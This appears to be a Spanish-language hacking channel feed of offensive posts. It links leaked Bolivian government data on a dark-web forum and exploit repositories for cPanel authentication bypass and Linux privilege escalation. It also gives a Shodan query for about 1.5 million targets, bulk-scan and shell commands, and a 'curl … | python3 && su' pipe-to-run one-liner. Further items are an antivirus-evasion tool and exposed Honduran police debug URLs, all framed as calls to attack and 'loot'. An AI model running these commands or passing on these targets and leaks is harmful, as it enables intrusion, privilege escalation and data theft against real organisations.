Pirata informático comparte 1GB de datos de institución boliviana encargadas de las carreteras bolivianas 🇧🇴

Según el pirata informático el comprimido contiene mas de +9000 ficheros PDFs con información que data desde 2017 hasta 2026

FUENTE:
https://anonfilesnew.com/s/chgW73-jprk

http://darkfoxaqhfpxkrbt7vxns2z2u2k72sgmqbzeorupaiottw3ecm2wgyd.onion/Thread-DATABASE-LEAK-PDF-Database-from-the-ABC-Bolivian-Road-Administration-2017-2026

#onion #darkforums #bolivia #foro

Powershell VNC injector

https://github.com/klsecservices/Invoke-Vnc

#github #powershell #vnc

#leaks #zip

CVE-2026-41940 cPanel/WHM Authentication Bypass

Exploit: https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py

Affected Software:

• cPanel & WHM 11.110.0 versions prior to fixed version 11.110.0.97
• cPanel & WHM 11.118.0 versions prior to fixed version 11.118.0.63
• cPanel & WHM 11.126.0 versions prior to fixed version 11.126.0.54
• cPanel & WHM 11.132.0 versions prior to fixed version 11.132.0.29
• cPanel & WHM 11.134.0 versions prior to fixed version 11.134.0.20
• cPanel & WHM 11.136.0 versions prior to fixed version 11.136.0.5
• WP Squared 11.136.1 versions prior to fixed version 11.136.1.7

Query: https://www.shodan.io/search?query=http.favicon.hash%3A-696182543

P.S.

Shodan query for potential targets returns approximately 1.5 million cPanel instances exposed to the internet that may be vulnerable.

Recientemente se descubrió un Exploit el cual permite escalar privilegios de manera local, el Exploit afecta a varias distribuciones Linux.

CVE: CVE-2026-31431

EJECUCIÓN DE EXPLOIT:

curl https://copy.fail/exp | python3 && su

EXPLOIT EN GO:

https://github.com/badsectorlabs/copyfail-go
https://copy.fail/#copy-fail

#exploit #lpe #linux

CpanelSniper Tool for CVE-2026-41940

CVE-2026-41940 — cPanel & WHM Authentication Bypass via Session-File CRLF Injection

# Single target — scan only
python3 cPanelSniper.py -u https://target.com:2087

# Single target — interactive shell after bypass
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Bulk scan from file
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json

# Force scan (skip cPanel detection)
python3 cPanelSniper.py -u https://target.com:2087 --force

https://github.com/ynsmroztas/cPanelSniper

#exploit #github #cve

Un investigador logro demostrar como el navegador Edge
de Microsoft guarda las contraseñas de los usuarios en
texto plano en la memoria de tu ordenador.

https://x.com/L1v1ng0ffTh3L4N

GITHUB POC:
https://github.com/L1v1ng0ffTh3L4N/Proof-of-Concepts

#github #password #maldev

MorphKatz ⚒️

Reescritor PE polimórfico para Windows x64, reescribe binarios en variantes
semánticamente idénticas pero con diferencias de bytes.

https://github.com/0xMohammedHassan/morphkatz

#maldev #bypassav #github

Afiliado de Karakurt ransomware sentenciado a 8 años en prisión 🚨

Deniss Zolotarjovs (Денисс Золотарёвс), de 35 años, de Moscú, tenia el rol de negociador dentro de la extinta pandilla Karakurt y era uno de los mas despiadados y metódico a la hora de negociar y extorsionar a sus victimas aseguran los investigadores, Deniss fue arrestado en Europa del Este y extraditado en el 2025 por los EEUU.

Al parecer el FBI no le llevo mucho tiempo dar con Deniss gracias a los errores de OPSEC que cometió. Como error numero uno esta el uso de gmail para negociaciones con sus victimas, Deniss uso gmail para regitrar el correo Karakurtlair@gmail[.]com y se comunico con un periodista usando el correo de Protonmail ( anonymoux@proton[.]me) su correo de Proton tenia un correo de icloud para correo de recuperacion. A partir de hay los investigadores requirieron información de distintos servicios como ser Proton, Google y Apple para dar con Deniss Zolotarjovs.

Moraleja: "Deja de ser un cibercriminal estupido"

Dirty Frag - Nueva vulnerabilidad para la escalada de privilegios en Linux 🚨

Hace algunas semana atrás se daba a conocer una nueva vulnerabilidad de tipo LPE (Local privilege escalation) llamada Copy Fail la cual afectaba a una buena cantidad de distribuciones Linux y que solo requeria algunas cuantas linea de codigo.
Esta semana salio otra nueva vulnerabilidad la cual permite escalar privilegios localmente y afecta a varias distribuciones incluyendo Kali :)

Sistemas afectados:

Ubuntu 24.04.4: 6.17.0-23-generic
RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64
openSUSE Tumbleweed: 7.0.2-1-default
CentOS Stream 10: 6.12.0-224.el10.x86_64
AlmaLinux 10: 6.12.0-124.52.3.el10_1.x86_64
Fedora 44: 6.19.14-300.fc44.x86_64

Onliner para ejecucion:

git clone --depth=1 https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

Compilación del source:

gcc -O0 -Wall -o exp exp.c -lutil

ESCALE N LOOT$$!!!

#exploit #lpe #linux

policianacional.gob.hn exposición de información sensible 🇭🇳

WAF: Incapsula (Imperva Inc.)

https://servicios.policianacional.gob.hn/api/debug_weapon_api.php

PHPINFO

https://servicios.policianacional.gob.hn/api/simple_test.php

#leaks #honduras #fuckgob

😁🏴‍☠️

#meme #lol